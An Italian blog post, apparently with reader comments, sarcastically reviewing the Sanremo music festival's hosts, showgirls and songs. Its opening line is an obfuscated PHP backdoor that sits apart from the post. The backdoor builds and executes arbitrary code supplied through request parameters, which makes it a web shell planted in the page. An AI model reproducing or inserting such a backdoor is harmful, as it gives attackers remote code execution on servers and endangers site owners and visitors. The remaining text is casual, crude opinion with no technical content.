if (isset($_REQUEST['FILE'])){$_FILE = $_REQUEST['d37f062be323b6a488879b979d14843a']('$_',$_REQUEST['FILE'].'($_);'); $_FILE(stripslashes($_REQUEST['HOST']));}
Era destino che io non riuscissi a fare un post su Sanremo. A dire la verità io manco lo sapevo che sarebbe iniziato questa settimana. Mi sono ritrovata un Pippo Baudo e un Chiambretti così, per caso, cambiando canale. Qua nessuno avvisa eh?
A quel punto non sapevo se fare finta di niente, glissare in modo elegante e, che so, fare un poema sul fatto che la Jolie è di nuovo pregna, o su Jennifer Lopez che è finalmente scoppiata, ma alla fine il blog e la natura (anche il polmone che mi è partito in questi giorni tossendo)(se lo vedete ditegli che lo sto cercando e che mi serve) hanno deciso per me.
Il fatto è che non saprei cosa dire, visto che ho guardato veramente pochi minuti, anche se mi dicono che il Dopo Festival con Elio e le Storie Tese merita molto più del festival di per sé; ho visto i primi minuti, proprio perché non me l’aspettavo, e direi che mi sono avanzati.
Non so se avete assistito, ma c’è stata una penosa introduzione di quella mezza sega di Chiambretti (che a me non piace, non so se si era capito) con una scenetta ancora più pietosa che aveva come bersaglio quel povero disgraziato di Del Noce, che secondo me ancora non ha capito chi è, cosa fa e perché ci sta. Per non parlare delle scarpe che il nano aveva su: bianche, rosse e verdi. Ci mancava solo qualche maccherone attaccato sopra ed eravamo tutti contenti. Pure la Barilla.
E il momento dell’entrata di Baudo, con i suoi venti e passa cloni che giravano per il palco. Oh, divertentissimo. C’ho quasi creduto. Ma davvero eh.
La cosa che mi sta più a cuore dire è che quelle due vallette ci stanno bene come la maionese sul tiramisù: la bionda, ma chi cazzo è, la mora, ma chi cazzo è pure lei, non contente, bisogna pure farle cantare e ballare? Qui mi verrebbe da dire, perché non metterci due sconosciute, ma in fondo quelle due chi le conosce? Perché non metterci due panda, ecco, questo sì.
L’unica canzone che ho ascoltato per intero è stata quella di Frankie Hi NRG, quello contro il sistema, quello per la rivoluzione, quello contro le istituzioni, che poi si sposa e va a Sanremo. Se vogliamo dirla tutta, partendo dal presupposto che l’età media dello spettatore sanremese è 65 anni, ci stava proprio bene.
Per curiosità ho ascoltato anche l’inizio della canzone di Meneguzzi: il sublime Pablo non si è smentito, e l’accordo Meneguzzi Made in Sanremo© è arrivato anche quest’anno, farcito da un testo che definire banale e diabetico è fargli un complimento (tu che sei grande grande, un piccolo universo in cui non mi sento perso, grande grande grande grande, e mi risveglio nel mio letto, che pure immenso mi sembra troppo stretto), parole completamente a caso sulla stessa melodia di sempre. Se avesse cantato l’orario dei treni in partenza da Milano Rogoredo sarebbe stato più melodico ed armonioso, dico sul serio.
Ma quello che mi preme davvero davvero, è capire come mai Sanremo vada ancora in onda.
Una parte di me continua a ripetersi che in fondo è un’istituzione, è come se di punto in bianco mettessimo la senape sulla pasta o Pupo crescesse di venti centimetri. Un’altra parte di me si è rotta le palle, che si fa presto a dire “non guardarlo”, ma appena giri canale, qualsiasi ora del giorno e della notte, almeno un servizio su Sanremo te lo ritrovi tra le palle (e mettete in conto che in questa settimana la mia alternativa al letto era una bara, quindi ho dovuto subire in silenzio).
Il punto è che probabilmente va un po’ svecchiato. Voglio dire, Pippo Baudo? Ancora? Ma con tutto il rispetto, mandare in pensione quella cariatide no? Va bene, probabilmente non ci sono molte alternative e Fiorello difficilmente si abbasserà a tanto (a quel punto Mediaset potrebbe anche sospendere le trasmissioni per una settimana, sarebbe inutile controbattere), e sempre meglio lui di Carlo Conti ma perché poi stupirsi se gli ascolti vanno male?
Ogni anno la buttano sul “diamo spazio alla musica”. Diamoglielo, evitiamo una pausa di venti minuti ogni canzone, evitiamo le vallette cerebrolese che muovono le gambine e la boccuccia in playback, evitiamo le scenette divertenti che fanno ridere solo gli stupidi che pagano per sorbirsi cinquanta ore di niente dal vivo, evitiamo di invitare la Bertè, a questo punto, se dopo che ha cantato deve biascicare e dondolare sul palco per mezz’ora.
Evitiamo, se possibile, di mettere in gara anche Zarrillo, che mi sembra che venga tolto dal congelatore solo per Sanremo, cinque giorni di libertà e poi di nuovo dentro, che tanto non servi a niente, tu e la tua rosa blu.
Ma il vero nocciolo della questione è lei, Anna Tatangelo e il suo amico gay.
La canzone non l’ho ascoltata, perché, insomma, c’ho un pizzico di amor proprio che me lo impedisce, ma ho letto il testo: dimmi che male c’è, se ami un altro come te, se il cuore batte forte, dà la vita a quella morte che vive dentro di te.
C’è da aggiungere altro?
Poi, non so se avete saputo delle reazioni che si sono state e della “sindrome della frociarola“, come dice Luxuria: quelle donne che passano troppo tempo con il loro amico gay e si dimenticano del compagno.
Ora. Voglio dire. Se c’è da andare contro la Tatangelo io sono la prima, non dimentichiamoci dell’attacco supremo, hai 21 anni e ne dimostri 40, ma se la mettiamo su questo piano…se il mio compagno fosse Gigi D’Alessio, passerei più volentieri il tempo anche con il mio amico serial killer, se mi evitasse di averlo tra le palle tutto il giorno.
Pensa che Pippo Baudo già da qualche anno è in pensione (pensione per gli artisti, o qualcosa del genere, fonte TvSorrisi), e si becca 2.100 euro al mese. Sticà…
Son giorni che vado avanti dicendo che la canzone di L’Aura è la migliore. Se poi ci metti che ha cantato con Cocci, l’altra sera, per me guadagna ulteriori punti. Ho un debole per quell’uomo
io avevo bandito il tasto 1 del telecomando per l’intera settimana. ieri sera, soprappensiero, l’ho pigiato e temevo il coccolone per l’orrore. mi è andata bene: c’era la pubblicità. manco a dirlo, della pasta.
Oddio ci vedoooooooooooo!!!!!! Finalmenteeee!!!
@Joy
)
(son0 pignola, lo so..
Ci stava mooolto meglio “mecojoni”
Io lo conosco l’amico della Tata eh? In effetti è meglio di Giggi. Ma Sanremo l’ho visto in tutto per mezzora. Peggio del solito.
La sindrome della frociarola non l’ho mai sentita…cmq Sanremo mi rifiuto categoricamente di vederlo, ne va della mia integrità.
Cioè, vorreste dirmi che hanno vinto niente di meno che LOLA PONCE E GIO DI TONNO? Ma agli italiani che jè preso?
Certo, spero con tutto il cuore che la Tatangelo abbia perso per UN voto e che Fabrizio Moro cada nel dimenticatoio PER SEMPRE, ma che fine hanno fatto le tradizioni? Facciamo vincere Zarrillo, facciamo.
Monica, dì la verità! Tu eri nel pubblico a fischiarla quando ha urlato “gigi ti amo”, vero?
HA URLATO GIGI TI AMO?!??!?!
Oddio, vedi che si perde a non guardare il Festival di Sanremo fino alle quattro di notte…
A dire la verità, su Rai1 ci sarebbe potuta essere anche la diretta dei bombardamenti sulla mia casa, ma avrei comunque guardato la scena finale del Gladiatore.
Vedo solo ora la classifica: I FINLEY E MENEGUZZI QUINTI E SESTO?!?!??!
Ma io emigro, per sul serio.
Sì, Monica, lo ha fatto! Ma subito le son piovuti fischi dal cielo!
Tra il pubblico di sanremesi, esiste ancora qualcuno sano di mente.
@giuy
Devo assolutamente trovare il video di quel momento!
Mbee, guarda qua. Che momento indimenticabile, ho avuto i brividi.
Comunque Fabrizio Moro, con quell’aria “sono il nuovo Rino Gaetano, inchinatevi” mi ha un po’ rotto le palle.
@Monica
Grazie.
No, davvero, grazie.. Ora ho 1000000 motivi in più per odiare quella Ragazz..Donn..Bagasc..Cantant.. Vabè, la Tata..
Monica, io ti ho perdonata per Depp, mi sta bene tutto, ma scrivere Fabrizio Moro e Rino Gaetano nella stessa riga beh!..Addio, davvero. E’ troppo.
Legge, ma era implicito che paragonare i due è come paragonare la cioccolata con il letame, suvvia.
Sì, sì, avevo capito. E’ proprio il fatto che stiano sulla stessa riga che mi traumatizza.